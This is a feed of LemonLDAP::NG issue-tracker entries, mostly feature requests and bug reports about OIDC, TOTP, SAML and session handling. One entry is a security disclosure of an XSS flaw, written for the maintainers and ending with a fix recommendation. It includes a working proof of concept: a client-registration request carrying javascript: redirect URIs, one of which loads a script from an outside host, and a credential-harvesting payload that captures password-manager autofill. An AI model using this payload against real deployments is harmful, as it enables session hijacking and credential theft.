lemonldap-ng issues
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues
2024-03-27T10:40:24Z
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3026
Auth::OIDC : add option to get keys using jwks
2024-03-27T10:40:24Z
Yadd
Auth::OIDC : add option to get keys using jwks
For now, we fix JWKS document in configuration. We should be able to consult OIDC server dynamically (with cache of course).
### Design proposition:
If oidcOPMetaDataJWKS is empty, use jwks endpoint
For now, we fix JWKS document in configuration. We should be able to consult OIDC server dynamically (with cache of course).
### Design proposition:
If oidcOPMetaDataJWKS is empty, use jwks endpoint
2.19.0
Yadd
Yadd
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2610
TOTP management screens flows
2024-03-27T10:11:19Z
Clément OUDOT
TOTP management screens flows
Some feedbacks on our currents 2FA/TOTP management flows:
* [x] After registering a TOTP, we stay on the configuration screen, with a success message. It would be better to go back to 2FA manager screen
* [ ] On 2FA manager screen, when ...
Some feedbacks on our currents 2FA/TOTP management flows:
* [x] After registering a TOTP, we stay on the configuration screen, with a success message. It would be better to go back to 2FA manager screen
* [ ] On 2FA manager screen, when we already have registered a TOTP we see the new TOTP menu. When clicking on it we have an error. Maybe we should directly add the button from the main 2FA manager screen
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3115
Date in login history is based on session _utime, not the very same time as t...
2024-03-27T09:53:05Z
philippe lhardy
philha@worteks.com
Date in login history is based on session _utime, not the very same time as the login triggering action
### Affected version
All versions up to 2.18 and including current dev.
### Summary
Success or Failure records for login history use _utime and not actual time of action.
This is enlighted when using 2FA.
When tentatively implementi...
### Affected version
All versions up to 2.18 and including current dev.
### Summary
Success or Failure records for login history use _utime and not actual time of action.
This is enlighted when using 2FA.
When tentatively implementing #3106 ordering of login failure of multiple successive 2FA failure couldn't be based on time since all entries had the very same one.
### Possible fixes
Use current time within loging history.
2.19.0
philippe lhardy
philha@worteks.com
philippe lhardy
philha@worteks.com
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3054
Cannot get the full otpauth URL when registering a new TOTP
2024-03-27T09:19:28Z
Soisik Froger
Cannot get the full otpauth URL when registering a new TOTP
As a user, I'd like to copy the content of the QR code when enrolling a new TOTP. This URL is useful if you use any device/software that do no rely on scanning a image.
Right now, the URL as to be built from scratch from the displayed s...
As a user, I'd like to copy the content of the QR code when enrolling a new TOTP. This URL is useful if you use any device/software that do no rely on scanning a image.
Right now, the URL as to be built from scratch from the displayed secret (if put in lowercase and without space).
Some kind of way to retrieve this URL (in the HREF attribute of the image ?) would make it easier to register TOTP without scans.
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3095
Add llngUserAttributes tools
2024-03-27T09:16:32Z
Yadd
Add llngUserAttributes tools
The idea is to have a sort of `ldapsearch` but based on portal "getUser+macros+groups". Maybe something like:
```perl
#!/usr/bin/perl
use strict;
use JSON;
use Lemonldap::NG::Portal;
my $p = Lemonldap::NG::Portal->new;
$p->init({logLev...
The idea is to have a sort of `ldapsearch` but based on portal "getUser+macros+groups". Maybe something like:
```perl
#!/usr/bin/perl
use strict;
use JSON;
use Lemonldap::NG::Portal;
my $p = Lemonldap::NG::Portal->new;
$p->init({logLevel => 'warn'});
my $uid = $ARGV[0] or die 'Missing uid';
my $req = Lemonldap::NG::Portal::Main::Request->new( {
REQUEST_URI => '/',
REMOTE_ADDR => '127.0.0.1',
PATH_INFO => '/',
}
);
$req->user($uid);
$req->steps( [
'getUser', @{ $p->betweenAuthAndData },
'setSessionInfo', $p->groupsAndMacros,
'setLocalGroups',
]
);
$p->process($req);
print JSON->new->canonical->pretty->encode($req->sessionInfo);
```
What do you think ?
2.19.0
Yadd
Yadd
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3077
Handling of groups from an OIDC provider
2024-03-27T09:14:16Z
Daniel Berteaud
Handling of groups from an OIDC provider
### Affected version
Version: 2.18.1
Platform: nginx+uwsgi
### Summary
When using an OIDC provider as Auth + UserDB, I couldn't get groups to work. In my case, the OIDC provider is also a Lemonldap::NG instance. I've configured a "gr...
### Affected version
Version: 2.18.1
Platform: nginx+uwsgi
### Summary
When using an OIDC provider as Auth + UserDB, I couldn't get groups to work. In my case, the OIDC provider is also a Lemonldap::NG instance. I've configured a "groups" claim containing a list of groups on the provider. This claim is correctly sent in the UserInfo endpoint. The "salve" Lemonldap::NG instance sees it, but just set the groups session keys as a stringified version of the array of groups. $hGroups remains empty, and groups are not usable.
### Logs
```
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Request User Info on https://primary.local/oauth2/userinfo with access token XXXXXXX
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] UserInfo received: {"mail":"dani@local","cn":"Daniel Berteaud","groups":["Role_Unix","Role_Dev","Role_DB_Viewer","Administrators","Role_DB_Admin","Role_GED","Role_Mail","Role_Support_Admin","Role_PKI_User","Role_Infra_Admin","Denied RODC Password Replication Group","Domain Admins","Role_Vault","Role_Visio","Role_VPN","Role_FW_Admin","Role_Audit","Equipe","Role_Seafile","Role_PKI_Admin","Role_Monitoring","IT","Role_Support_User","Role_Virt","Role_CT_Admin","Role_Matrix"],"principal":"dani@local","uid":"dani","sub":"dani"}
[...]
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store 1704448287 in session key _lastAuthnUTime
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store HASH(0x65f8a60) in session key _loginHistory
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Dump: $VAR1 = {'successLogin' => [{'ipAddr' => '10.99.20.2','_utime' => '1704448211'},{'ipAddr' => '10.99.20.2','_utime' => '1704448149'},{'ipAddr' => '10.99.20.2','error' => -4,'_utime' => '1704443859'},{'ipAddr' => '10.99.20.2','_utime' => '1704443859'},{'_utime' => '1704443073','error' => -4,'ipAddr' => '10.99.20.2'},{'ipAddr' => '10.99.20.2','_utime' => '1704443073'},{'_utime' => '1704442587','ipAddr' => '10.99.20.2','error' => -4},{'ipAddr' => '10.99.20.2','_utime' => '1704442587'},{'ipAddr' => '10.99.20.2','_utime' => '1704378084'},{'ipAddr' => '10.99.20.2','_utime' => '1704377346'}],'failedLogin' => []};
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store ARRAY(0x6390dd0) in session key groups
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Dump: $VAR1 = ['Role_Unix','Role_Dev','Role_DB_Viewer','Administrators','Role_DB_Admin','Role_GED','Role_Mail','Role_Support_Admin','Role_PKI_User','Role_Infra_Admin','Denied RODC Password Replication Group','Domain Admins','Role_Vault','Role_Visio','Role_VPN','Role_FW_Admin','Role_Audit','Equipe','Role_Seafile','Role_PKI_Admin','Role_Monitoring','IT','Role_Support_User','Role_Virt','Role_CT_Admin','Role_Matrix'];
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store 20240105105011 in session key _updateTime
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store dani in session key _user
```
Screenshot of the resulting session on the slave Lemonldap::NG
![image](/uploads/fc6bddce1c364b8c0ab943920f603df4/image.png)
### Backends used
Primary (OIDC RP) Lemonldap::NG is running
- On almalinux 8
- With nginx (OpenResty) + llng-fastcgi-server
- Using AD (samba4) as AuthDB and UserDB
- Using MariaDB as configuration and session store
Slave Lemonldap::NG is running
- On almalinux 9 (Docker based on almalinux9)
- With nginx + uwsgi
- Using OIDC as AuthDB and Same as UserDB
- An OIDC provider has been configured pointing at the primary LL::NG portal
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3113
Add possibility to store conf secrets in separated files
2024-03-27T09:09:10Z
Yadd
Add possibility to store conf secrets in separated files
When I'm using Lemonldap with static configuration (deployed using help chart), the key rotation maybe lost when restarting containers.
## Design proposition
`lemonldap-ng.ini` contains a new key `secretsPath`. Then when [Common::Conf]...
When I'm using Lemonldap with static configuration (deployed using help chart), the key rotation maybe lost when restarting containers.
## Design proposition
`lemonldap-ng.ini` contains a new key `secretsPath`. Then when [Common::Conf](lemonldap-ng-common/lib/Lemonldap/NG/Common/Conf.pm) see that:
- when "load": read the list of secret and launches them from this directory (keyName == fileName)
- when "store": ignore this changes ?
@clement_oudot, @maxbes, @xavierb : any idea/advice ?
2.19.0
Yadd
Yadd
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3104
Incorrect initialization of SAML IDP causes IDP to fallback to default settings
2024-03-27T08:25:53Z
Maxime Besson
Incorrect initialization of SAML IDP causes IDP to fallback to default settings
When initializing a SAML IDP in Auth::SAML, if some step goes wrong (impossible to set signature policy, or bad rule), the IDP is still useable but no defaults are set
We need to make sure the IDP is correctly loaded before enabling it,...
When initializing a SAML IDP in Auth::SAML, if some step goes wrong (impossible to set signature policy, or bad rule), the IDP is still useable but no defaults are set
We need to make sure the IDP is correctly loaded before enabling it, and report an error if it isn't the case
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3101
OIDC offline session refresh has no access to previous session info
2024-03-26T13:21:23Z
Maxime Besson
OIDC offline session refresh has no access to previous session info
For a custom plugin, I need to access the _samlToken stored at login time in getUser.
Currently, the offline refresh code does not allow it:
```
$req->user( $refreshSession->data->{_session_uid} );
$req->data->{$_} = $r...
For a custom plugin, I need to access the _samlToken stored at login time in getUser.
Currently, the offline refresh code does not allow it:
```
$req->user( $refreshSession->data->{_session_uid} );
$req->data->{$_} = $refreshSession->data->{$_} foreach (qw(_choice));
$req->steps( [
'getUser', @{ $self->p->betweenAuthAndData },
'setSessionInfo', $self->p->groupsAndMacros,
'setLocalGroups',
]
);
```
Only _choice is kept, and the _samlToken cannot be exposed to getUser
In order to fix this, a possible solution would be to run the same process we do in the "Refresh my rights" feature:
keep existing session keys, refresh, and update the session with the new keys. This will remove some code duplication between OIDC and Main
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3099
second factor type is not stored in history in case of a 2FA failure
2024-03-26T12:32:06Z
Maxime Besson
second factor type is not stored in history in case of a 2FA failure
### Summary
If you add the `_2f` session variable to `sessionDataToRemember`, you will only see the _2f variable in your login history if it succeeded
1FA failure:
```
# 'failedLogin' => [
# ...
### Summary
If you add the `_2f` session variable to `sessionDataToRemember`, you will only see the _2f variable in your login history if it succeeded
1FA failure:
```
# 'failedLogin' => [
# {
# '_auth' => 'Demo',
# ...
# },
```
2FA failure:
```
# 'failedLogin' => [
# {
# '_auth' => 'Demo',
# '_2f' => undef,
# ...
# },
```
### Design proposition
We should set the _2f variable even if 2FA failed, so it can be displayed in history
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3076
RefreshSession plugin doesn't work with choice
2024-03-26T12:29:14Z
Maxime Besson
RefreshSession plugin doesn't work with choice
### Affected version
Version: 2.18.1
### Summary
* Configure Auth::Choice
* Enable RefreshSession plugin
* Login
* refresh using the /refreshsession API
* it fails because _choice isn't set
### Logs
```
[debug] Start routing refres...
### Affected version
Version: 2.18.1
### Summary
* Configure Auth::Choice
* Enable RefreshSession plugin
* Login
* refresh using the /refreshsession API
* it fails because _choice isn't set
### Logs
```
[debug] Start routing refreshsessions
[notice] Refresh request for abarnes
[debug] [notice] Refresh request for abarnes
[debug] Processing getUser
[debug] Returned error: 9 (PE_FIRSTACCESS)
[warn] Refresh failed for session 1b4228c3aea6021e271c7ce7c8acccec663ac91f5c00dd02f9379e3b53495e5d
```
### Possible fixes
populate userData in $req with all sessions attribute (including _choice) before calling the portal refresh function:
```
diff --git a/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm b/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm
index 6334b4508..8fd6935f4 100644
--- a/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm
+++ b/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm
@@ -36,6 +36,7 @@ sub run {
);
$req->id($id);
$req->user( $info->{uid} );
+ $req->userData( $sessions->{$id} );
my $res;
eval { $res = $self->p->refresh($req); };
if ($@) {
```
does it look ok for you @guimard ?
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3087
RefreshSession plugin creates group duplicates when multiple sessions are used
2024-03-26T12:28:10Z
Maxime Besson
RefreshSession plugin creates group duplicates when multiple sessions are used
### Affected version
Version: 2.18.1
### Summary
* Enable refresh session plugin
* Login as dwho twice
* Refresh sessions for dwho with the plugin
* Groups are duplicated in $groups
### Logs
```
Store users; timelords; users; timelo...
### Affected version
Version: 2.18.1
### Summary
* Enable refresh session plugin
* Login as dwho twice
* Refresh sessions for dwho with the plugin
* Groups are duplicated in $groups
### Logs
```
Store users; timelords; users; timelords in session key groups
```
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3102
Allow custom ordering in history session keys
2024-03-18T13:07:55Z
Maxime Besson
Allow custom ordering in history session keys
Surrently, session keys are displayed in the login history by alphabetical order
We should let users reorder them, for example using 1_xxx prefixes like we do for Choices
Surrently, session keys are displayed in the login history by alphabetical order
We should let users reorder them, for example using 1_xxx prefixes like we do for Choices
2.19.0
Abhishek Pai
Abhishek Pai
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3119
Inconsistent logs when using "faketicket" CAS access policy
2024-03-08T15:03:36Z
Maxime Besson
Inconsistent logs when using "faketicket" CAS access policy
### Affected version
Version: 2.18.2
### Summary
* Configure CAS Access control policy = Fake ticket
* Set an access rule for a CAS service
### Logs
When accessing with an unauthorized user:
```
[warn] User dwho is not authorized t...
### Affected version
Version: 2.18.2
### Summary
* Configure CAS Access control policy = Fake ticket
* Set an access rule for a CAS service
### Logs
When accessing with an unauthorized user:
```
[warn] User dwho is not authorized to access to testcasapp
[notice] User dwho is authorized to access to testcasapp
```
Logs are contradictory
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3117
Add a hook before 2fa retry
2024-03-08T10:17:50Z
Maxime Besson
Add a hook before 2fa retry
We added the possibility to retry a second factor in #3080
It could be useful to run some custom code (eg for reporting) right before the 2FA is retried
We added the possibility to retry a second factor in #3080
It could be useful to run some custom code (eg for reporting) right before the 2FA is retried
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3080
Allow users to retry 2FA
2024-03-07T09:45:45Z
Maxime Besson
Allow users to retry 2FA
### Summary
Currently, users get only one try to enter their 2FA, if they fail, they need to retry the entire login flow
### Design proposition
We should implement a count-limited (maybe 3 by default?) retry in 2F::Engine
### Summary
Currently, users get only one try to enter their 2FA, if they fail, they need to retry the entire login flow
### Design proposition
We should implement a count-limited (maybe 3 by default?) retry in 2F::Engine
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3100
Add PKCE option inside Auth::OpenIDConnect
2024-02-28T04:51:07Z
Yadd
Add PKCE option inside Auth::OpenIDConnect
Yes this is strange but required by some IDP even if login/password is also required.
Yes this is strange but required by some IDP even if login/password is also required.
2.19.0
Yadd
Yadd
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3105
SAML cannot set custom signature scheme when used in Choice
2024-02-19T13:24:27Z
Maxime Besson
SAML cannot set custom signature scheme when used in Choice
### Affected version
Version: 2.18.2
### Summary
* Configure Auth::Choice
* One choice: SAML
* Add an IDP
* Set custom signature method (RSA_SHA1 or other)
* Try to login on IDP: all other settings (nameID policy, etc) are ignored
#...
### Affected version
Version: 2.18.2
### Summary
* Configure Auth::Choice
* One choice: SAML
* Add an IDP
* Set custom signature method (RSA_SHA1 or other)
* Try to login on IDP: all other settings (nameID policy, etc) are ignored
### Logs
```
filename_or_buffer cannot be undef at /home/maxbes/src/lemonldap-ng/lemonldap-ng-portal/blib/lib/Lemonldap/NG/Portal/Lib/SAML.pm line 3435
```
### Possible fixes
For some extremely weird reason, the fact that `$self->conf` is a tied hash when Choice is in used interferes with the Lasso binding, which sees the key and certificate strings as empty even if they are not empty
2.19.0
Maxime Besson
Maxime Besson
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3070
[Security:low] XSS via JavaScript-URI as Redirect URI and form_post Response ...
2024-02-12T02:44:25Z
Lauritz Holtmann
[Security:low] XSS via JavaScript-URI as Redirect URI and form_post Response Mode
*LEMONLDAP::NG* is vulnerable to a reflected Cross-Site Scripting vulnerability via JavaScript-URIs in OpenID Connect flows with `response_mode=form_post`.
## Steps to Reproduce
Preparation:
1. Enable Public Registration via http://mana...
*LEMONLDAP::NG* is vulnerable to a reflected Cross-Site Scripting vulnerability via JavaScript-URIs in OpenID Connect flows with `response_mode=form_post`.
## Steps to Reproduce
Preparation:
1. Enable Public Registration via http://manager.example.com/ -> OpenID Connect Service -> Dynamic Registration (alternatively register a client via UI in the following).
2. Enable to drop CSP on Auth. Responses via http://manager.example.com/ -> OpenID Connect Service -> Security -> Drop CSP headers from OIDC responses (otherwise XSS would be blocked by browsers that support CSP directives).
Then perform the actual attack:
1. Register new Client using OIDC Dynamic Client registration:
```http
POST /oauth2/register HTTP/1.1
Host: auth.example.com
Content-Type: application/json
Content-Length: 140
{
"redirect_uris":["javascript:confirm(document.domain)","javascript:import('https://xss.lhq.at/password-disclosure.js')"]
}
```
2. Trigger XSS via `http://auth.example.com/oauth2/authorize?client_id=yCbq4Y6VZONzcrGdwVLaNgnG0Am81Q&response_type=code&response_mode=form_post&scope=openid&redirect_uri=javascript:confirm(document.domain)` (Adjust client_id)
## Impact
As shown above, JavaScript is evaluated in the conext of `http://auth.example.com/`, allowing to perform arbitrary actions on behalf of an end-user and in their session.
Further, end-user credentials can be obtained in case a victim uses a password manager that auto-fills login forms. In the following, we assume the victim uses a current Firefox.
JS-Exploit-Payload: https://xss.lhq.at/password-disclosure.js
```JavaScript
window.attackUsernameField = document.createElement("input");
window.attackPasswordField = document.createElement("input");
attackUsernameField.type = 'text';
attackUsernameField.name = 'username';
attackPasswordField.type = 'password';
attackPasswordField.autocomplete = 'current-password';
attackPasswordField.addEventListener("change",()=>{alert(`Username: ${attackUsernameField.value}\nPassword: ${attackPasswordField.value}`)});
document.body.appendChild(attackUsernameField);
document.body.appendChild(attackPasswordField);
```
Note that FF only auto-fills credentials in secure contexts (HTTPS), so that testing this may require additional configuration.
To test password disclosure, use current Firefox and:
1. Browse `https://auth.example.com/` and enter exemplary invalid credentials. Opt-in to store credentials in your browser!
2. Browse `https://auth.example.com/oauth2/authorize?client_id=lhibBNkkd4w8hPLPxjehY8fAT2MD/L&response_type=code&response_mode=form_post&scope=openid&redirect_uri=javascript:import(%27https://xss.lhq.at/password-disclosure.js%27)` and observe `alert()` with clear text credentials.
The impact is limited by a Content-Security-Policy directive which was enabled by default in my test setup. There is a specific option to disable this setting and there are still browsers out-there and in use that do not support CSP directives.
## Recommendation
It is recommended to do not allow dangerous schemes such as `javascript`, `data` or `vbscript` as allowed Redirect URIs.
2.18.2
Yadd
Yadd
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3098
[security:low] PKCE is not enforced when requested by RP but not required by OP
2024-02-12T02:44:25Z
Maxime Besson
[security:low] PKCE is not enforced when requested by RP but not required by OP
### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC RP in LemonLDAP but don't require PKCE on it
* Use a PKCE flow to login to the RP, with a valid verifier => WORKS :white_check_mark:
* Use a PKCE flow to login to t...
### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC RP in LemonLDAP but don't require PKCE on it
* Use a PKCE flow to login to the RP, with a valid verifier => WORKS :white_check_mark:
* Use a PKCE flow to login to the RP, with a non-valid verifier => ALSO WORKS :thinking:
PKCE is a mechanism that protect the authorization code from being stolen by another application. LemonLDAP implements PKCE as an optional security mechanism.
As per https://datatracker.ietf.org/doc/html/rfc7636#section-4.4
> When the server issues the authorization code in the authorization
> response, it MUST associate the "code_challenge" and
> "code_challenge_method" values with the authorization code so it can
> be verified later.
In my understanding, this means that when the RP triggers PKCE, the OP MUST enforce it during the token request, which is not the case now.
Current behavior is:
* Require PKCE enabled: PKCE is required at authorization time in all cases + enforced at token request time
* Require PKCE disabled: PKCE not required at authorization time + not enforced at token request time
In my opinion, the behaviour should be:
* Require PKCE enabled: same as above
* Require PKCE disabled: PKCE not required at authorization time + *but enforced at token request time* if the application used it
Do you agree @guimard @clement_oudot ?
2.18.2
Maxime Besson
Maxime Besson